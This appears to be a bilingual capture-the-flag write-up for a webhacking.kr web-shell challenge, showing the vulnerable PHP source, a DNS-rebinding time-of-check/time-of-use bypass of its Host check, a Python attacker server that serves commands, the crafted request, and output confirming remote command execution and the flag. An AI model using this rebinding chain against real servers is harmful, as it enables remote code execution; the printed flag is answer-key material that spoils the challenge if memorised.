Challenge
The page is a web shell whose front end posts commands to a JSON endpoint.
页面是一个 WebShell,前端把命令发到 JSON endpoint。
http://webhacking.kr:10020/前端脚本把输入发到:
fetch("/api.php?q=" + escape(text_));页面显示提示符 WebShell:/ $,并把响应文本追加到终端。
Analysis
api.php 不直接执行命令,而是先校验 Host,再用 Host 去请求同端口的 /cmd/<q>.txt,最后把该文件的内容当命令执行:
<?php $cmd = $_GET['q']; if($cmd){ if(count(explode(":",$_SERVER['HTTP_HOST'])) > 1) $_SERVER['HTTP_HOST'] = explode(":",$_SERVER['HTTP_HOST'])[0]; if(!preg_match("/^[a-z0-9-.]+$/",$_SERVER['HTTP_HOST'])) exit("ahh nice try"); if(($_SERVER['HTTP_HOST'] !== "webhacking.kr") && (gethostbyname($_SERVER['HTTP_HOST']) !== "202.182.106.159")) exit("Something wrong"); sleep(1); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://{$_SERVER['HTTP_HOST']}:10020/cmd/".rawurlencode($cmd).".txt"); $response = curl_exec($ch); if(HTTP code !== 200) echo HELP; else system($response); }?>关键点是 Host 被解析两次:gethostbyname() 解析一次做校验,curl 再解析一次取内容,中间还夹着 sleep(1)。这就是 TOCTOU。
现场实测分支:
Host: webhacking.kr -> 走 `!==` 短路,校验通过,curl 请求自己 → 命中 /cmd 白名单Host: WEBHACKING.KR -> ahh nice try(正则只允许小写)Host: 127.0.0.1 -> Something wrongHost: evil.example.com -> Something wrongHost: 202.182.106.159.nip.io -> 校验通过(目标能解析外部域名并解析到 202.182.106.159)/cmd/ 目录是预置白名单(ls.txt、cat api.php.txt、cat index.php.txt),?q=cat flag.php 会返回 only "ls", "cat api.php", "cat index.php" allowed。
Solution
链条:让 Host 在校验时解析到 202.182.106.159(目标自己),在 curl 请求时解析到攻击者服务器,从而让 http://<Host>:10020/cmd/<q>.txt 返回任意命令文本,被 system() 执行。
Host 必须匹配 /^[a-z0-9-.]+$/,所以使用符合格式的 DNS rebinding 域名。草稿记录 rbndr.us 在该目标上两种 IP 顺序都返回 Something wrong;1u.ms 的 make-<ip1>-rebind-<ip2>-rr.1u.ms 可用。
攻击者侧是一台公网机器,监听 :10020,对任意 /cmd/<q>.txt 返回要执行的命令文本:
from http.server import BaseHTTPRequestHandler, HTTPServer
COMMAND = b'cat flag.php; echo "=== id ==="; id'
class Handler(BaseHTTPRequestHandler): def do_GET(self): body = COMMAND self.send_response(200) self.send_header("Content-Type", "text/plain") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body)
HTTPServer(("0.0.0.0", 10020), Handler).serve_forever()命令文本:
cat flag.php; echo "=== id ==="; id然后反复请求目标,Host 用 rebinding 域名(<attacker-hex> 是攻击者公网 IP 的十六进制):
GET /api.php?q=ls HTTP/1.1Host: make-202.182.106.159-rebind-<attacker-hex>-rr.1u.msgethostbyname() 拿到 202.182.106.159 时校验通过,curl 拿到攻击者 IP 时就取回我们的命令文本并执行。返回:
<?php $flag = "FLAG{***************************************}";?>=== id ===uid=33(www-data) gid=33(www-data) groups=33(www-data)即 cat flag.php 读出 flag,并确认以 www-data 身份 RCE。
FLAG{sorry-i-forgor-what-server-name-meaning}